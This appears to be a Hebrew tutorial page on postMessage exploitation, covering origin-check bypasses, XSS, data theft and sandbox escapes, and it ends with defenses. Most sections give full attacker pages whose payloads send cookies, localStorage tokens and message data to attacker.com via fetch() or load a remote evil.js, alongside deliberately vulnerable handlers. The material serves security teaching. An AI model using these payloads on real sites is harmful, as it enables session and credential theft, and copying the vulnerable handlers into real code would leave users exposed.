ניצול PostMessage - PostMessage Exploitation¶
סקירת postMessage API¶
window.postMessage() מאפשר תקשורת בטוחה בין חלונות (windows) ממקורות שונים (cross-origin). הוא מספק חלופה בטוחה להגבלות Same-Origin Policy.
// שליחת הודעה לחלון אחר
targetWindow.postMessage(data, targetOrigin);
// האזנה להודעות
window.addEventListener('message', function(event) {
console.log(event.data); // המידע שנשלח
console.log(event.origin); // מקור השולח
console.log(event.source); // reference לחלון השולח
});
דוגמה לשימוש לגיטימי:
// דף אב שמתקשר עם iframe
let iframe = document.getElementById('payment-iframe');
iframe.contentWindow.postMessage({ action: 'getTotal' }, 'https://payments.example.com');
// בתוך ה-iframe
window.addEventListener('message', function(event) {
if (event.origin !== 'https://shop.example.com') return;
if (event.data.action === 'getTotal') {
event.source.postMessage({ total: 99.99 }, event.origin);
}
});
חולשות בולידציית מקור - Origin Validation¶
חוסר בדיקת מקור¶
הטעות הנפוצה ביותר - לא לבדוק את event.origin כלל:
// פגיע! אין בדיקת origin
window.addEventListener('message', function(event) {
document.getElementById('output').innerHTML = event.data;
});
כל אתר יכול לשלוח הודעות לחלון הזה:
<!-- דף התוקף -->
<iframe src="https://vulnerable.com/page" id="target"></iframe>
<script>
let target = document.getElementById('target');
target.onload = function() {
target.contentWindow.postMessage(
'<img src=x onerror=alert(document.cookie)>',
'*'
);
};
</script>
עקיפת regex - בדיקה חלקית¶
// פגיע! בדיקה חלקית של origin
window.addEventListener('message', function(event) {
if (event.origin.indexOf('example.com') !== -1) {
// מטפל בהודעה
eval(event.data);
}
});
עקיפה: https://example.com.attacker.com - הדומיין של התוקף מכיל את המחרוזת example.com.
עקיפת regex - endsWith¶
// עדיין פגיע!
window.addEventListener('message', function(event) {
if (event.origin.endsWith('example.com')) {
processMessage(event.data);
}
});
עקיפה: https://evilexample.com - מסתיים ב-example.com.
עקיפת regex - match לא מעוגן¶
// פגיע! regex לא מעוגן
window.addEventListener('message', function(event) {
if (event.origin.match(/example\.com/)) {
processMessage(event.data);
}
});
עקיפה: https://example.com.attacker.com או https://attacker.com/example.com.
מקור null¶
// פגיע! מאפשר null origin
window.addEventListener('message', function(event) {
if (event.origin === 'null' || event.origin === null) {
processMessage(event.data);
}
});
יצירת null origin:
<!-- sandboxed iframe שולח עם null origin -->
<iframe sandbox="allow-scripts" srcdoc="
<script>
parent.postMessage('malicious data', '*');
</script>
"></iframe>
PostMessage ל-XSS¶
הזרקת HTML דרך handler¶
// שרת הקורבן - handler פגיע
window.addEventListener('message', function(event) {
// אין בדיקת origin
let data = event.data;
if (data.type === 'updateContent') {
document.getElementById('content').innerHTML = data.html; // XSS!
}
if (data.type === 'redirect') {
location.href = data.url; // Open redirect / JavaScript protocol
}
if (data.type === 'eval') {
eval(data.code); // RCE בדפדפן
}
});
דף התוקף:
<!DOCTYPE html>
<html>
<body>
<iframe src="https://vulnerable.com/page" id="target"></iframe>
<script>
let target = document.getElementById('target');
target.onload = function() {
// XSS דרך innerHTML
target.contentWindow.postMessage({
type: 'updateContent',
html: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
}, '*');
// או דרך eval
target.contentWindow.postMessage({
type: 'eval',
code: 'fetch("https://attacker.com/steal?c="+document.cookie)'
}, '*');
// או דרך redirect
target.contentWindow.postMessage({
type: 'redirect',
url: 'javascript:alert(document.domain)'
}, '*');
};
</script>
</body>
</html>
גניבת מידע דרך postMessage - Cross-Origin Data Theft¶
כאשר אתר שולח מידע רגיש דרך postMessage בלי לציין targetOrigin:
// שרת הקורבן - שולח מידע בלי targetOrigin ספציפי
function sendUserData() {
let userData = {
email: currentUser.email,
token: currentUser.csrfToken,
session: document.cookie
};
// שולח לכל חלון שמאזין!
window.parent.postMessage(userData, '*');
}
דף התוקף שמאזין:
<!DOCTYPE html>
<html>
<body>
<iframe src="https://vulnerable.com/dashboard" id="target"></iframe>
<script>
window.addEventListener('message', function(event) {
// מקבל את המידע הרגיש
console.log('Stolen data:', event.data);
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(event.data)
});
});
</script>
</body>
</html>
עקיפת iframe sandboxing¶
ניצול sandbox permissions¶
<!-- iframe עם sandbox שמאפשר scripts אבל לא top-navigation -->
<iframe sandbox="allow-scripts" src="https://vulnerable.com/page"></iframe>
עם postMessage, ניתן לעקוף הגבלות sandbox:
// בתוך ה-iframe ה-sandboxed
window.parent.postMessage({ action: 'navigate', url: 'https://attacker.com/phish' }, '*');
// הדף האב (אם יש handler פגיע)
window.addEventListener('message', function(event) {
if (event.data.action === 'navigate') {
location.href = event.data.url; // עקיפת sandbox!
}
});
הברחת הודעות - Message Smuggling¶
שינוי סוג הודעה¶
// handler שמצפה לסוג הודעה ספציפי
window.addEventListener('message', function(event) {
if (event.origin !== 'https://trusted.com') return;
let msg = event.data;
if (msg.type === 'resize') {
// לוגיקה לגיטימית
document.getElementById('widget').style.height = msg.height + 'px';
}
if (msg.type === 'load') {
// לוגיקה לגיטימית
let s = document.createElement('script');
s.src = msg.url;
document.body.appendChild(s);
}
});
אם התוקף מוצא XSS ב-trusted.com, הוא יכול לשלוח הודעות מהמקור המהימן:
// XSS ב-trusted.com -> שליחת הודעה למטרה
let target = window.open('https://vulnerable.com/page');
setTimeout(() => {
target.postMessage({ type: 'load', url: 'https://attacker.com/evil.js' }, '*');
}, 1000);
עקיפת בדיקות origin מורכבות¶
subdomain takeover + postMessage¶
// handler שבודק subdomain
window.addEventListener('message', function(event) {
let origin = new URL(event.origin);
if (origin.hostname.endsWith('.example.com')) {
processMessage(event.data);
}
});
אם התוקף משיג subdomain takeover על forgotten.example.com:
<!-- hosted on forgotten.example.com -->
<script>
let target = window.open('https://app.example.com/dashboard');
setTimeout(() => {
target.postMessage({ action: 'extractData' }, '*');
}, 2000);
</script>
עקיפה עם data: ו-blob: URLs¶
// דף עם blob URL שולח postMessage
let blob = new Blob([`
<script>
window.opener.postMessage('malicious', '*');
</script>
`], { type: 'text/html' });
let url = URL.createObjectURL(blob);
window.open(url);
// origin של blob: הוא origin של היוצר
דוגמת handler פגיע מלא¶
// handler אמיתי פגיע (מבוסס על חולשות אמיתיות)
window.addEventListener('message', function(event) {
try {
let data = typeof event.data === 'string' ? JSON.parse(event.data) : event.data;
switch (data.action) {
case 'setContent':
// פגיע - innerHTML ללא sanitization
document.querySelector(data.selector).innerHTML = data.content;
break;
case 'navigate':
// פגיע - javascript: protocol
window.location = data.url;
break;
case 'execute':
// פגיע - eval ישיר
eval(data.code);
break;
case 'storage':
// פגיע - גישה ל-localStorage
if (data.operation === 'get') {
event.source.postMessage({
key: data.key,
value: localStorage.getItem(data.key)
}, '*'); // שולח לכולם!
} else {
localStorage.setItem(data.key, data.value);
}
break;
}
} catch (e) {
console.error(e);
}
});
דף תוקף שמנצל את כל החולשות:
<!DOCTYPE html>
<html>
<body>
<iframe src="https://vulnerable.com" id="v"></iframe>
<script>
let victim = document.getElementById('v');
victim.onload = function() {
let w = victim.contentWindow;
// שלב 1: גניבת localStorage
w.postMessage(JSON.stringify({
action: 'storage',
operation: 'get',
key: 'authToken'
}), '*');
// שלב 2: XSS
w.postMessage(JSON.stringify({
action: 'setContent',
selector: '#main',
content: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
}), '*');
};
// קבלת המידע שנגנב
window.addEventListener('message', function(event) {
fetch('https://attacker.com/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(event.data)
});
});
</script>
</body>
</html>
הגנה¶
ולידציית origin מחמירה¶
const ALLOWED_ORIGINS = [
'https://trusted.example.com',
'https://payments.example.com'
];
window.addEventListener('message', function(event) {
// בדיקה מדויקת של origin
if (!ALLOWED_ORIGINS.includes(event.origin)) {
console.warn('Rejected message from:', event.origin);
return;
}
// ולידציית מבנה ההודעה
if (typeof event.data !== 'object' || !event.data.type) {
return;
}
// טיפול בטוח
handleMessage(event.data);
});
הימנעות מ-innerHTML ו-eval¶
window.addEventListener('message', function(event) {
if (event.origin !== 'https://trusted.example.com') return;
// לעולם לא להשתמש ב:
// - innerHTML / outerHTML
// - eval / Function
// - setTimeout/setInterval עם מחרוזת
// - document.write
// - location.href עם ערך מההודעה
// במקום:
if (event.data.type === 'updateText') {
document.getElementById('output').textContent = event.data.text; // בטוח
}
});
ציון targetOrigin בשליחה¶
// רע - שולח לכולם
window.parent.postMessage(sensitiveData, '*');
// טוב - שולח רק ליעד ספציפי
window.parent.postMessage(sensitiveData, 'https://trusted.example.com');
סיכום¶
חולשות postMessage נובעות בעיקר מחוסר ולידציית origin, שימוש בפונקציות מסוכנות כמו innerHTML ו-eval על מידע מההודעה, ושליחת מידע רגיש עם targetOrigin של '*'. ההגנה דורשת בדיקת origin מדויקת (לא regex חלקי), הימנעות מפונקציות מסוכנות, וציון targetOrigin מפורש בשליחה.